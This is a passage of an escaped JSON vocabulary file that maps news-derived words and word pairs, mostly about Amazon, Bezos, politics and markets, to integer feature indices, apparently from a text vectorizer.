\"inflation spike\": 99445,\n  \"entire market\": 99446,\n  \"american kids\": 99447,\n  \"unsparingly\": 99448,\n  \"collect amazon\": 99449,\n  \"publisher american\": 99450,\n  \"venerated wall\": 99451,\n  \"took fresh\": 99452,\n  \"committees pacs\": 99453,\n  \"marketplace bearing\": 99454,\n  \"getting high\": 99455,\n  \"free package\": 99456,\n  \"netflix nyt\": 99457,\n  \"sunlit\": 99458,\n  \"outside union\": 99459,\n  \"marketplace reported\": 99460,\n  \"involves surprise\": 99461,\n  \"turning\": 99462,\n  \"outperform ratings\": 99463,\n  \"queensbridge tenants\": 99464,\n  \"hill russia\": 99465,\n  \"attacked hillary\": 99466,\n  \"consumers love\": 99467,\n  \"women clothing\": 99468,\n  \"present contracts\": 99469,\n  \"service needs\": 99470,\n  \"party republicans\": 99471,\n  \"recapped\": 99472,\n  \"bouugkgpyc jessica\": 99473,\n  \"missed expectations\": 99474,\n  \"receives approval\": 99475,\n  \"tariff man\": 99476,\n  \"house predicting\": 99477,\n  \"hager\": 99478,\n  \"physician offices\": 99479,\n  \"average marked\": 99480,\n  \"runs fleet\": 99481,\n  \"revenue did\": 99482,\n  \"eyes tongue\": 99483,\n  \"commitment plan\": 99484,\n  \"routinely avoided\": 99485,\n  \"unscrupulous methods\": 99486,\n  \"ami expos\\u00e9\": 99487,\n  \"filene\": 99488,\n  \"relationship wrote\": 99489,\n  \"political chasm\": 99490,\n  \"cost allocation\": 99491,\n  \"birds eye\": 99492,\n  \"101\": 99493,\n  \"insulting\": 99494,\n  \"refutes\": 99495,\n  \"customers surcharge\": 99496,\n  \"budget incorporates\": 99497,\n  \"relelased\": 99498,\n  \"4q18 revenue\": 99499,\n  \"amberin zaman\": 99500,\n  \"island thirteen\": 99501,\n  \"sourcelink\": 99502,\n  \"worked tirelessly\": 99503,\n  \"obama sign\": 99504,\n  \"insider wrote\": 99505,\n  \"cloud gives\": 99506,\n  \"specialized services\": 99507,\n  \"dollar corporations\": 99508,\n  \"start chattering\": 99509,\n  \"panel warns\": 99510,\n  \"elan\": 99511,\n  \"deutsche monitor\": 99512,\n  \"rule articles\": 99513,\n  \"coverage critical\": 99514,\n  \"peggy quince\": 99515,\n  \"assembly listen\": 99516,\n  \"cortez aoc\": 99517,\n  \"starbucks heather\": 99518,\n  \"campaign took\": 99519,\n  \"stunned\": 99520,\n  \"000 global\": 99521,\n  \"reuters manufacturing\": 99522,\n  \"recognizing gender\": 99523,\n  \"deforestation caused\": 99524,\n  \"surpassing amazon\": 99525,\n  \"wasn politician\": 99526,\n  \"missing washington\": 99527,\n  \"cnl_contributor_accessflag true\": 99528,\n  \"proposed including\": 99529,\n  \"news responded\": 99530,\n  \"divorces\": 99531,\n  \"brainard federal\": 99532,\n  \"legality\": 99533,\n  \"budget speaking\": 99534,\n  \"likes competition\": 99535,\n  \"wants municipal\": 99536,\n  \"immediately dove\": 99537,\n  \"winner cardi\": 99538,\n  \"report details\": 99539,\n  \"2017 matt\": 99540,\n  \"year maximum\": 99541,\n  \"gaping hole\": 99542,\n  \"murderer\": 99543,\n  \"politico illinois\": 99544,\n  \"include routers\": 99545,\n  \"companies operating\": 99546,\n  \"regulation\": 99547,\n  \"month following\": 99548,\n  \"jorg carstensen\": 99549,\n  \"systematic attack\": 99550,\n  \"department officials\": 99551,\n  \"betting\": 99552,\n  \"mcdowell exactly\": 99553,\n  \"senator joseph\": 99554,\n  \"created seemingly\": 99555,\n  \"allows corporate\": 99556,\n  \"2014 facebook\": 99557,\n  \"judge thomas\": 99558,\n  \"public schedule\": 99559,\n  \"reactid 151\": 99560,\n  \"charges barr\": 99561,\n  \"myth looks\": 99562,\n  \"star stay\": 99563,\n  \"american united\": 99564,\n  \"grande\": 99565,\n  \"brightest spot\": 99566,\n  \"mdd\": 99567,\n  \"key services\": 99568,\n  \"ambivalent view\": 99569,\n  \"really tell\": 99570,\n  \"chuxing\": 99571,\n  \"clears\": 99572,\n  \"finds skull\": 99573,\n  \"incentives totaling\": 99574,\n  \"donnell asked\": 99575,\n  \"rutgers\": 99576,\n  \"applications comment\": 99577,\n  \"time ally\": 99578,\n  \"action\": 99579,\n  \"paid handsomely\": 99580,\n  \"wanderer hiromi\": 99581,\n  \"firms actually\": 99582,\n  \"ohlin vice\": 99583,\n  \"council smalls\": 99584,\n  \"current child\": 99585,\n  \"different incentives\": 99586,\n  \"afloat counterpunch\": 99587,\n  \"checked trump\": 99588,\n  \"pinnacle acquisition\": 99589,\n  \"rose cents\": 99590,\n  \"mechanical keyboard\": 99591,\n  \"crm solutions\": 99592,\n  \"2015 described\": 99593,\n  \"board normally\": 99594,\n  \"image 22774588\": 99595,\n  \"hype grows\": 99596,\n  \"local alerts\": 99597,\n  \"care according\": 99598,\n  \"timmerman report\": 99599,\n  \"industry workers\": 99600,\n  \"kayla goggin\": 99601,\n  \"parkland attack\": 99602,\n  \"oppo strategy\": 99603,\n  \"shares stake\": 99604,\n  \"leroy\": 99605,\n  \"frank inside\": 99606,\n  \"solution containing\": 99607,\n  \"clarity transparency\": 99608,\n  \"initial jobless\": 99609,\n  \"g4 j0\": 99610,\n  \"warrant reflects\": 99611,\n  \"fallen billions\": 99612,\n  \"posted better\": 99613,\n  \"personal diaries\": 99614,\n  \"judith giuliani\": 99615,\n  \"ice\": 99616,\n  \"enormous bundles\": 99617,\n  \"frei president\": 99618,\n  \"told vogue\": 99619,\n  \"cornillie\": 99620,\n  \"hold stock\": 99621,\n  \"stifel nicolaus\": 99622,\n  \"richer trend\": 99623,\n  \"birding\": 99624,\n  \"post aug\": 99625,\n  \"communities impacted\": 99626,\n  \"philanthropic ideas\": 99627,\n  \"witch\": 99628,\n  \"history replacestate\": 99629,\n  \"sinclair ownership\": 99630,\n  \"loopholes click\": 99631,\n  \"signing secret\": 99632,\n  \"felony charges\": 99633,\n  \"following insert\": 99634,\n  \"despite promises\": 99635,\n  \"relying entirely\": 99636,\n  \"legitimate\": 99637,\n  \"komisyon\": 99638,\n  \"amazon mountain\": 99639,\n  \"personal responsibility\": 99640,\n  \"filed formal\": 99641,\n  \"kilter\": 99642,\n  \"save earth\": 99643,\n  \"scandal read\": 99644,\n  \"report produced\": 99645,\n  \"enlisted\": 99646,\n  \"austin\": 99647,\n  \"sun owns\": 99648,\n  \"jaded view\": 99649,\n  \"meetings included\": 99650,\n  \"hat angry\": 99651,\n  \"help students\": 99652,\n  \"italy communications\": 99653,\n  \"dead zone\": 99654,\n  \"counsel probe\": 99655,\n  \"misguided\": 99656,\n  \"applebee\": 99657,\n  \"smelled\": 99658,\n  \"constrain risk\": 99659,\n  \"interviews recently\": 99660,\n  \"organization convention\": 99661,\n  \"presidential contenders\": 99662,\n  \"camp latest\": 99663,\n  \"manages investors\": 99664,\n  \"grassroots backlash\": 99665,\n  \"comment boxes\": 99666,\n  \"search results\": 99667,\n  \"fewer people\": 99668,\n  \"bolsonaro campaign\": 99669,\n  \"york despite\": 99670,\n  \"standing bending\": 99671,\n  \"base grew\": 99672,\n  \"records live\": 99673,\n  \"maximum 400\": 99674,\n  \"career say\": 99675,\n  \"food porn\": 99676,\n  \"selling electronic\": 99677,\n  \"bezos leaked\": 99678,\n  \"news leaking\": 99679,\n  \"lives protect\": 99680,\n  \"products data\": 99681,\n  \"arrivals program\": 99682,\n  \"168\": 99683,\n  \"rides\": 99684,\n  \"preteen\": 99685,\n  \"beach key\": 99686,\n  \"dollars wrote\": 99687,\n  \"highlight broader\": 99688,\n  \"tesla sending\": 99689,\n  \"words cow\": 99690,\n  \"follow business\": 99691,\n  \"reporters kept\": 99692,\n  \"important word\": 99693,\n  \"time\": 99694,\n  \"consumer division\": 99695,\n  \"likeness\": 99696,\n  \"masthead\": 99697,\n  \"npr 2017\": 99698,\n  \"similar benefits\": 99699,\n  \"close yesterday\": 99700,\n  \"record 107\": 99701,\n  \"economic slowdown\": 99702,\n  \"jonathan karl\": 99703,\n  \"interpreted huseman\": 99704,\n  \"group instead\": 99705,\n  \"administration chose\": 99706,\n  \"exploit\": 99707,\n  \"post brennan\": 99708,\n  \"pac spending\": 99709,\n  \"kashkari\": 99710,\n  \"metadata__show\": 99711,\n  \"hamm\": 99712,\n  \"prep tech\": 99713,\n  \"pail\": 99714,\n  \"preferred means\": 99715,\n  \"mijente called\": 99716,\n  \"enforcement investigator\": 99717,\n  \"article calendar\": 99718,\n  \"n3x\": 99719,\n  \"central bank\": 99720,\n  \"saul netflix\": 99721,\n  \"stories people\": 99722,\n  \"ongoing market\": 99723,\n  \"additional charge\": 99724,\n  \"space read\": 99725,\n  \"warned amazon\": 99726,\n  \"terrifying laughing\": 99727,\n  \"228648 inc_homepage_headline\": 99728,\n  \"official told\": 99729,\n  \"owns 686\": 99730,\n  \"healthcare bezos\": 99731,\n  \"edward\": 99732,\n  \"trump consumers\": 99733,\n  \"clients warning\": 99734,\n  \"program nationwide\": 99735,\n  \"firms oil\": 99736,\n  \"completely destroyed\": 99737,\n  \"altria pulls\": 99738,\n  \"cancer diagnosis\": 99739,\n  \"arthur jones\": 99740,\n  \"electrocution living\": 99741,\n  \"topfilelocation lead\": 99742,\n  \"living boteach\": 99743,\n  \"foods remains\": 99744,\n  \"force painted\": 99745,\n  \"target claiming\": 99746,\n  \"wong right\": 99747,\n  \"using intelligence\": 99748,\n  \"sideways\": 99749,\n  \"page extension\": 99750,\n  \"hire\": 99751,\n  \"post exposed\": 99752,\n  \"included arnold\": 99753,\n  \"second person\": 99754,\n  \"visitor warren\": 99755,\n  \"complicated numbers\": 99756,\n  \"return o4\": 99757,\n  \"preventdefault\": 99758,\n  \"green sent\": 99759,\n  \"conflated amazon\": 99760,\n  \"probably produced\": 99761,\n  \"jessie handcuffed\": 99762,\n  \"confirmed william\": 99763,\n  \"paying hush\": 99764,\n  \"twoyears ago\": 99765,\n  \"technology driven\": 99766,\n  \"intercontinental\": 99767,\n  \"plays thucydides\": 99768,\n  \"tabloid magazine\": 99769,\n  \"main focus\": 99770,\n  \"reported profit\": 99771,\n  \"obligations trump\": 99772,\n  \"emts\": 99773,\n  \"retailers struggle\": 99774,\n  \"lawfully american\": 99775,\n  \"officials sought\": 99776,\n  \"beauty view\": 99777,\n  \"bembenek lindsay\": 99778,\n  \"utilized scientists\": 99779,\n  \"sweat shop\": 99780,\n  \"offhandedly\": 99781,\n  \"mayweather jr\": 99782,\n  \"critical vaccine\": 99783,\n  \"rubber\": 99784,\n  \"email forwarded\": 99785,\n  \"multichannel\": 99786,\n  \"bought branded\": 99787,\n  \"killed small\": 99788,\n  \"sanders repeated\": 99789,\n  \"studios head\": 99790,\n  \"disasters screen\": 99791,\n  \"congress pass\": 99792,\n  \"subscribing\": 99793,\n  \"crying girl\": 99794,\n  \"sports owners\": 99795,\n  \"steemit somee\": 99796,\n  \"u2x x8\": 99797,\n  \"cardiologists cite\": 99798,\n  \"supreme\": 99799,\n  \"reaction dow\": 99800,\n  \"carter says\": 99801,\n  \"administration rife\": 99802,\n  \"dallas texas\": 99803,\n  \"ap hide\": 99804,\n  \"safe sender\": 99805,\n  \"chomsky\": 99806,\n  \"super dohastadium\": 99807,\n  \"cost savings\": 99808,\n  \"carstensen dpa\": 99809,\n  \"source thehill\": 99810,\n  \"fool published\": 99811,\n  \"kominers\": 99812,\n  \"internet shares\": 99813,\n  \"new cookbook\": 99814,\n  \"slow death\": 99815,\n  \"echo alexa\": 99816,\n  \"turned red\": 99817,\n  \"oversight wrote\": 99818,\n  \"riches drug\": 99819,\n  \"gadgets popular\": 99820,\n  \"drones amazon\": 99821,\n  \"protection officers\": 99822,\n  \"98point6 mission\": 99823,\n  \"regulators include\": 99824,\n  \"optimize amazon\": 99825,\n  \"authors estimate\": 99826,\n  \"rapid decline\": 99827,\n  \"columbia sportswear\": 99828,\n  \"markets shipstation\": 99829,\n  \"hailing firm\": 99830,\n  \"sector ability\": 99831,\n  \"spend heavily\": 99832,\n  \"page advertisement\": 99833,\n  \"florence\": 99834,\n  \"husband patrick\": 99835,\n  \"steakhouse\": 99836,\n  \"companies jeff\": 99837,\n  \"pme\": 99838,\n  \"trump concedes\": 99839,\n  \"sorkin directs\": 99840,\n  \"bezos mark\": 99841,\n  \"accuses trump\": 99842,\n  \"friendly press\": 99843,\n  \"related building\": 99844,\n  \"incidents marblehead\": 99845,\n  \"couple cities\": 99846,\n  \"trump haters\": 99847,\n  \"g7a k1a\": 99848,\n  \"trump varney\": 99849,\n  \"inuit\": 99850,\n  \"alfonso\": 99851,\n  \"gillum\": 99852,\n  \"roughly 150\": 99853,\n  \"comment comment\": 99854,\n  \"americans uncovered\": 99855,\n  \"transform queens\": 99856,\n  \"credible competitor\": 99857,\n  \"leverage\": 99858,\n  \"real christmas\": 99859,\n  \"trump looks\": 99860,\n  \"bebest\": 99861,\n  \"include best\": 99862,\n  \"fundamental values\": 99863,\n  \"based behemoth\": 99864,\n  \"creature\": 99865,\n  \"pastel\": 99866,\n  \"killed laura\": 99867,\n  \"community tragic\": 99868,\n  \"fry\": 99869,\n  \"wwi veterans\": 99870,\n  \"erik mcgregor\": 99871,\n  \"blackkklansman spike\": 99872,\n  \"defense deal\": 99873,\n  \"film anchor\": 99874,\n  \"city today\": 99875,\n  \"anomalies\": 99876,\n  \"xstjcl0qm1 abc\": 99877,\n  \"169\": 99878,\n  \"hurtful coming\": 99879,\n  \"government props\": 99880,\n  \"experts argue\": 99881,\n  \"truly\": 99882,\n  \"cancels plans\": 99883,\n  \"living president\": 99884,\n  \"data related\": 99885,\n  \"legal disputes\": 99886,\n  \"robert burns\": 99887,\n  \"suddenly jump\": 99888,\n  \"photos confidential\": 99889,\n  \"intense nationwide\": 99890,\n  \"list baby\": 99891,\n  \"trump putin\": 99892,\n  \"geekwire bezos\": 99893,\n  \"amazon lowest\": 99894,\n  \"smirks\": 99895,\n  \"buys weren\": 99896,\n  \"nasdaq sybt\": 99897,\n  \"column originally\": 99898,\n  \"stone becker\": 99899,\n  \"cancer specialists\": 99900,\n  \"schuster exit\": 99901,\n  \"operations earlier\": 99902,\n  \"personal tax\": 99903,\n  \"magical realism\": 99904,\n  \"coloured\": 99905,\n  \"book fair\": 99906,\n  \"rosen provided\": 99907,\n  \"tech issues\": 99908,\n  \"including semi\": 99909,\n  \"naturally protected\": 99910,\n  \"bezos worth\": 99911,\n  \"compiles list\": 99912,\n  \"unserious\": 99913,\n  \"republican congressmen\": 99914,\n  \"abbi\": 99915,\n  \"rehearsal\": 99916,\n  \"increased slightly\": 99917,\n  \"chicago billionaire\": 99918,\n  \"follow sean\": 99919,\n  \"difficulty squeebles\": 99920,\n  \"misdemeanor\": 99921,\n  \"amazon bookstores\": 99922,\n  \"included racist\": 99923,\n  \"create competitive\": 99924,\n  \"finance america\": 99925,\n  \"irish actress\": 99926,\n  \"episode tackles\": 99927,\n  \"services rekognition\": 99928,\n  \"inc_show_feature_imageflag\": 99929,\n  \"certain violent\": 99930,\n  \"personal photos\": 99931,\n  \"investigative article\": 99932,\n  \"8217 history\": 99933,\n  \"picayune\": 99934,\n  \"gibbs says\": 99935,\n  \"weinstein turns\": 99936,\n  \"skating\": 99937,\n  \"innocents\": 99938,\n  \"story invest\": 99939,\n  \"fargo mn\": 99940,\n  \"investors begin\": 99941,\n  \"bangin\": 99942,\n  \"offer letters\": 99943,\n  \"searches\": 99944,\n  \"health initiative\": 99945,\n  \"human altered\": 99946,\n  \"related concern\": 99947,\n  \"volpe\": 99948,\n  \"expedia nasdaq\": 99949,\n  \"happen\": 99950,\n  \"hotspots disproportionate\": 99951,\n  \"opened thecounter\": 99952,\n  \"tools needed\": 99953,\n  \"strachan contributed\": 99954,\n  \"including state\": 99955,\n  \"fight facebook\": 99956,\n  \"receive complaint\": 99957,\n  \"bad areas\": 99958,\n  \"run amok\": 99959,\n  \"versus\": 99960,\n  \"dramatic improvement\": 99961,\n  \"moving interior\": 99962,\n  \"certainly don\": 99963,\n  \"notably cohn\": 99964,\n  \"executives michael\": 99965,\n  \"giant ambitions\": 99966,\n  \"celebrity glossy\": 99967,\n  \"donnell yeah\": 99968,\n  \"junqueira maintains\": 99969,\n  \"farmers republicans\": 99970,\n  \"post crisis\": 99971,\n  \"president newfound\": 99972,\n  \"just commerce\": 99973,\n  \"true journalist\": 99974,\n  \"tycoon john\": 99975,\n  \"independent current\": 99976,\n  \"government assistance\": 99977,\n  \"kill operation\": 99978,\n  \"casinos amazon\": 99979,\n  \"spending associated\": 99980,\n  \"hadn paid\": 99981,\n  \"2017 debut\": 99982,\n  \"subdued start\": 99983,\n  \"shaved 190\": 99984,\n  \"florida dep\": 99985,\n  \"long willowy\": 99986,\n  \"school children\": 99987,\n  \"4billion\": 99988,\n  \"tv media\": 99989,\n  \"california democrat\": 99990,\n  \"reap billion\": 99991,\n  \"amazon hit\": 99992,\n  \"23andme\": 99993,\n  \"makes plans\": 99994,\n  \"dressage dumps\": 99995,\n  \"republican leaning\": 99996,\n  \"amazon certainly\": 99997,\n  \"mention talk\": 99998,\n  \"researchon\": 99999,\n  \"story detained\": 100000,\n  \"amazon touted\": 100001,\n  \"unsustainable economic\": 100002,\n  \"incoming democratic\": 100003,\n  \"regulations banning\": 100004,\n  \"conservation workman\": 100005,\n  \"2018 story\": 100006,\n  \"acquisition advisory\": 100007,\n  \"render final\": 100008,\n  \"ecommerce market\": 100009,\n  \"welcome village\": 100010,\n  \"magazine spent\": 100011,\n  \"lieber\": 100012,\n  \"teixeira editing\": 100013,\n  \"alistair lowe\": 100014,\n  \"diseased existence\": 100015,\n  \"opinions expressed\": 100016,\n  \"consumers wanting\": 100017,\n  \"retail monopoly\": 100018,\n  \"puzder understands\": 100019,\n  \"sprinting ahead\": 100020,\n  \"final mile\": 100021,\n  \"committed\": 100022,\n  \"shakers\": 100023,\n  \"amazon number\": 100024,\n  \"swipe fees\": 100025,\n  \"futures rising\": 100026,\n  \"mile wide\": 100027,\n  \"allies pushing\": 100028,\n  \"audience members\": 100029,\n  \"trump associates\": 100030,\n  \"process drive\": 100031,\n  \"longer available\": 100032,\n  \"dairy allergy\": 100033,\n  \"defy\": 100034,\n  \"super important\": 100035,\n  \"oil futures\": 100036,\n  \"saying simply\": 100037,\n  \"die geography\": 100038,\n  \"country ig\": 100039,\n  \"led saudi\": 100040,\n  \"evaluated\": 100041,\n  \"including publicly\": 100042,\n  \"advised washington\": 100043,\n  \"leak\": 100044,\n  \"investors concluded\": 100045,\n  \"female politician\": 100046,\n  \"calls institutional\": 100047,\n  \"clinically\": 100048,\n  \"global innovation\": 100049,\n  \"turn make\": 100050,\n  \"authorised entrepreneurs\": 100051,\n  \"interview conducted\": 100052,\n  \"policed\": 100053,\n  \"floods ice\": 100054,\n  \"lynched saying\": 100055,\n  \"company treated\": 100056,\n  \"scalable\": 100057,\n  \"officialsin room\": 100058,\n  \"rankings\": 100059,\n  \"man ahead\": 100060,\n  \"institution says\": 100061,\n  \"meditative memoir\": 100062,\n  \"dangerous sulzberger\": 100063,\n  \"italian fashion\": 100064,\n  \"make finally\": 100065,\n  \"popular anti\": 100066,\n  \"million remember\": 100067,\n  \"database bartiromo\": 100068,\n  \"weren sure\": 100069,\n  \"custody issues\": 100070,\n  \"prlog\": 100071,\n  \"cking\": 100072,\n  \"silicone\": 100073,\n  \"report recommendations\": 100074,\n  \"australian unit\": 100075,\n  \"m4 f4\": 100076,\n  \"marco island\": 100077,\n  \"moll\\u00e0 cristina\": 100078,\n  \"internet taxes\": 100079,\n  \"west pleaded\": 100080,\n  \"fails portrait\": 100081,\n  \"news bryan\": 100082,\n  \"jones latest\": 100083,\n  \"veterans benefits\": 100084,\n  \"swimming straight\": 100085,\n  \"carville\": 100086,\n  \"percentage gains\": 100087,\n  \"house sen\": 100088,\n  \"way america\": 100089,\n  \"currenttarget r4ee\": 100090,\n  \"net loss\": 100091,\n  \"conservative activists\": 100092,\n  \"statement kid\": 100093,\n  \"year peak\": 100094,\n  \"gargantuan\": 100095,\n  \"enquirer believed\": 100096,\n  \"create suite\": 100097,\n  \"dc kalorama\": 100098,\n  \"topics involving\": 100099,\n  \"justine bateman\": 100100,\n  \"warming read\": 100101,\n  \"leftist rag\": 100102,\n  \"serv\": 100103,\n  \"baseless theories\": 100104,\n  \"associate posted\": 100105,\n  \"green party\": 100106,\n  \"good horror\": 100107,\n  \"toss roe\": 100108,\n  \"burning man\": 100109,\n  \"streaming amazon\": 100110,\n  \"antagonistic\": 100111,\n  \"based business\": 100112,\n  \"dozen lawmakers\": 100113,\n  \"org taxvox\": 100114,\n  \"international net\": 100115,\n  \"aimed chiefly\": 100116,\n  \"unethical\": 100117,\n  \"best looking\": 100118,\n  \"lawyer additionally\": 100119,\n  \"measure social\": 100120,\n  \"tobias\": 100121,\n  \"emergency situation\": 100122,\n  \"unnecessary distraction\": 100123,\n  \"actual race\": 100124,\n  \"preoccupation\": 100125,\n  \"unmistakable stamp\": 100126,\n  \"world married\": 100127,\n  \"trade shawn\": 100128,\n  \"1542et copyright\": 100129,\n  \"preliminary deal\": 100130,\n  \"unsuspecting new\": 100131,\n  \"assistant professor\": 100132,\n  \"bittorrent\": 100133,\n  \"magazine online\": 100134,\n  \"dispatched tweet\": 100135,\n  \"apples loss\": 100136,\n  \"2017 given\": 100137,\n  \"labelled group\": 100138,\n  \"google purchase\": 100139,\n  \"300 ports\": 100140,\n  \"3po\": 100141,\n  \"mair led\": 100142,\n  \"woes 2018\": 100143,\n  \"create\": 100144,\n  \"awarded billion\": 100145,\n  \"renato\": 100146,\n  \"janeiro\": 100147,\n  \"lopez\": 100148,\n  \"newest smartphones\": 100149,\n  \"announced program\": 100150,\n  \"times writing\": 100151,\n  \"outrageous prices\": 100152,\n  \"epa amazon\": 100153,\n  \"sexual pictures\": 100154,\n  \"buffett reflects\": 100155,\n  \"build paris\": 100156,\n  \"11s\": 100157,\n  \"houston billion\": 100158,\n  \"aclu released\": 100159,\n  \"amy bass\": 100160,\n  \"shuttered federal\": 100161,\n  \"notyet aired\": 100162,\n  \"divorce occurred\": 100163,\n  \"outlet\": 100164,\n  \"amazon locating\": 100165,\n  \"industry sustainability\": 100166,\n  \"corporation tgt\": 100167,\n  \"federal employees\": 100168,\n  \"monthly customer\": 100169,\n  \"isikoff\": 100170,\n  \"punchiest\": 100171,\n  \"enforcement slew\": 100172,\n  \"cnbctech\": 100173,\n  \"york saying\": 100174,\n  \"bezos focused\": 100175,\n  \"committee hacked\": 100176,\n  \"party lacked\": 100177,\n  \"dhs department\": 100178,\n  \"andsay prayer\": 100179,\n  \"axing\": 100180,\n  \"overrode\": 100181,\n  \"amazon special\": 100182,\n  \"airbus bids\": 100183,\n  \"stance quickly\": 100184,\n  \"cease procuring\": 100185,\n  \"state jair\": 100186,\n  \"month president\": 100187,\n  \"analyst jarrett\": 100188,\n  \"imposes costs\": 100189,\n  \"violates\": 100190,\n  \"member harlan\": 100191,\n  \"haven drunk\": 100192,\n  \"lower occupant\": 100193,\n  \"mta couple\": 100194,\n  \"000 postal\": 100195,\n  \"putin explained\": 100196,\n  \"googl goog\": 100197,\n  \"nonetheless president\": 100198,\n  \"o1\": 100199,\n  \"legislation rejected\": 100200,\n  \"platforms amazon\": 100201,\n  \"pick amy\": 100202,\n  \"private meeting\": 100203,\n  \"thumb exlarge\": 100204,\n  \"amazon drop\": 100205,\n  \"cloud landscape\": 100206,\n  \"questioning indicated\": 100207,\n  \"product offerings\": 100208,\n  \"downey downey\": 100209,\n  \"mondavi cabernet\": 100210,\n  \"moac mother\": 100211,\n  \"previously cost\": 100212,\n  \"illicit fentanyl\": 100213,\n  \"speech ftc\": 100214,\n  \"ledger turned\": 100215,\n  \"dershowitz voted\": 100216,\n  \"activate plans\": 100217,\n  \"bkng\": 100218,\n  \"maria montessori\": 100219,\n  \"warner trump\": 100220,\n  \"mcdougal cohen\": 100221,\n  \"president infamously\": 100222,\n  \"antitrust inquiry\": 100223,\n  \"believes spicer\": 100224,\n  \"duke kominers\": 100225,\n  \"imposter insulting\": 100226,\n  \"blasio blaming\": 100227,\n  \"helps small\": 100228,\n  \"liberation organization\": 100229,\n  \"bringing thousands\": 100230,\n  \"investigation closed\": 100231,\n  \"rippled\": 100232,\n  \"life entity\": 100233,\n  \"fencing epee\": 100234,\n  \"assembly chose\": 100235,\n  \"holds large\": 100236,\n  \"imported autos\": 100237,\n  \"crisis consumer\": 100238,\n  \"everytown\": 100239,\n  \"openly attacks\": 100240,\n  \"suckers\": 100241,\n  \"wars bezos\": 100242,\n  \"letter obtained\": 100243,\n  \"perennial target\": 100244,\n  \"makerspace\": 100245,\n  \"vmw\": 100246,\n  \"barclays analysts\": 100247,\n  \"revelations family\": 100248,\n  \"using special\": 100249,\n  \"adult later\": 100250,\n  \"mahoney asset\": 100251,\n  \"conway\": 100252,\n  \"professor michael\": 100253,\n  \"sharp pricing\": 100254,\n  \"girls skateboarding\": 100255,\n  \"beef supply\": 100256,\n  \"mean bezos\": 100257,\n  \"parents allow\": 100258,\n  \"interfaces\": 100259,\n  \"employees protest\": 100260,\n  \"advancement\": 100261,\n  \"recent eve\": 100262,\n  \"sudan military\": 100263,\n  \"company directly\": 100264,\n  \"french luxury\": 100265,\n  \"erased drop\": 100266,\n  \"group does\": 100267,\n  \"political dangers\": 100268,\n  \"occupant\": 100269,\n  \"article illustrated\": 100270,\n  \"high prices\": 100271,\n  \"business fleet\": 100272,\n  \"dingell remembrance\": 100273,\n  \"dense residential\": 100274,\n  \"297 million\": 100275,\n  \"sanders told\": 100276,\n  \"shipping fresh\": 100277,\n  \"checks\": 100278,\n  \"incur\": 100279,\n  \"generated recommendations\": 100280,\n  \"mayor race\": 100281,\n  \"report read\": 100282,\n  \"retailers retail\": 100283,\n  \"saunders managing\": 100284,\n  \"imperium\": 100285,\n  \"million going\": 100286,\n  \"seller amazon\": 100287,\n  \"historic document\": 100288,\n  \"general manager\": 100289,\n  \"online companies\": 100290,\n  \"santos presidency\": 100291,\n  \"trumpfamily\": 100292,\n  \"violators\": 100293,\n  \"favorite target\": 100294,\n  \"brooklyn\": 100295,\n  \"spooky mansion\": 100296,\n  \"significantly better\": 100297,\n  \"false type\": 100298,\n  \"rumored\": 100299,\n  \"contain funding\": 100300,\n  \"began counting\": 100301,\n  \"media fury\": 100302,\n  \"spice\": 100303,\n  \"soon sanchez\": 100304,\n  \"companies arising\": 100305,\n  \"tom single\": 100306,\n  \"index slid\": 100307,\n  \"philosophies\": 100308,\n  \"trumping politics\": 100309,\n  \"wendy benjaminson\": 100310,\n  \"policies ferrari\": 100311,\n  \"story bad\": 100312,\n  \"spot implores\": 100313,\n  \"big splashes\": 100314,\n  \"republican primary\": 100315,\n  \"wouldn want\": 100316,\n  \"reflect systemic\": 100317,\n  \"book helps\": 100318,\n  \"properly valuate\": 100319,\n  \"political viewpoints\": 100320,\n  \"direct access\": 100321,\n  \"arguments switch\": 100322,\n  \"install longtime\": 100323,\n  \"felix\": 100324,\n  \"price tag\": 100325,\n  \"2015 shortly\": 100326,\n  \"man machine\": 100327,\n  \"international community\": 100328,\n  \"elizabeth strout\": 100329,\n  \"taken heavy\": 100330,\n  \"statista explains\": 100331,\n  \"directors making\": 100332,\n  \"suffered mightily\": 100333,\n  \"today breakfast\": 100334,\n  \"gerald\": 100335,\n  \"math charging\": 100336,\n  \"matthew mitchell\": 100337,\n  \"lets people\": 100338,\n  \"establishing trust\": 100339,\n  \"label business\": 100340,\n  \"writer\": 100341,\n  \"robot attacks\": 100342,\n  \"elkan abramowitz\": 100343,\n  \"executive elon\": 100344,\n  \"biden slippery\": 100345,\n  \"gonna bring\": 100346,\n  \"read emails\": 100347,\n  \"mandating government\": 100348,\n  \"significant cause\": 100349,\n  \"kodak\": 100350,\n  \"avalara ipo\": 100351,\n  \"competitive pay\": 100352,\n  \"believe makes\": 100353,\n  \"thanks jeff\": 100354,\n  \"increase request\": 100355,\n  \"booker rep\": 100356,\n  \"eric westervelt\": 100357,\n  \"quarles isn\": 100358,\n  \"gupta point\": 100359,\n  \"doctors including\": 100360,\n  \"lost thousands\": 100361,\n  \"click shopping\": 100362,\n  \"army general\": 100363,\n  \"points highlighting\": 100364,\n  \"choices affect\": 100365,\n  \"practice solely\": 100366,\n  \"bezos multiple\": 100367,\n  \"makes type\": 100368,\n  \"us1\": 100369,\n  \"meer doen\": 100370,\n  \"stocks rally\": 100371,\n  \"rate starts\": 100372,\n  \"edge 2018\": 100373,\n  \"cjs subcommittee\": 100374,\n  \"731 576\": 100375,\n  \"openly grousing\": 100376,\n  \"fox declined\": 100377,\n  \"tweeted cnbc\": 100378,\n  \"tijuana mexico\": 100379,\n  \"lead lead\": 100380,\n  \"area parker\": 100381,\n  \"blue edge\": 100382,\n  \"investigation heats\": 100383,\n  \"cutting away\": 100384,\n  \"welcome home\": 100385,\n  \"1837\": 100386,\n  \"camera time\": 100387,\n  \"deal include\": 100388,\n  \"penis pics\": 100389,\n  \"stock clerks\": 100390,\n  \"disparate\": 100391,\n  \"new tools\": 100392,\n  \"benefits managers\": 100393,\n  \"final solicitation\": 100394,\n  \"style bidding\": 100395,\n  \"choice headlines\": 100396,\n  \"increase spend\": 100397,\n  \"time telling\": 100398,\n  \"disease long\": 100399,\n  \"market shows\": 100400,\n  \"locations bezos\": 100401,\n  \"singing gayle\": 100402,\n  \"truly understood\": 100403,\n  \"workers compensation\": 100404,\n  \"fall reuters\": 100405,\n  \"lost colonies\": 100406,\n  \"lies just\": 100407,\n  \"contender sen\": 100408,\n  \"unicorn\": 100409,\n  \"crosstalk\": 100410,\n  \"revolutionized antitrust\": 100411,\n  \"loss maybe\": 100412,\n  \"small step\": 100413,\n  \"pension prepayments\": 100414,\n  \"transport stocks\": 100415,\n  \"commonly generated\": 100416,\n  \"mother\": 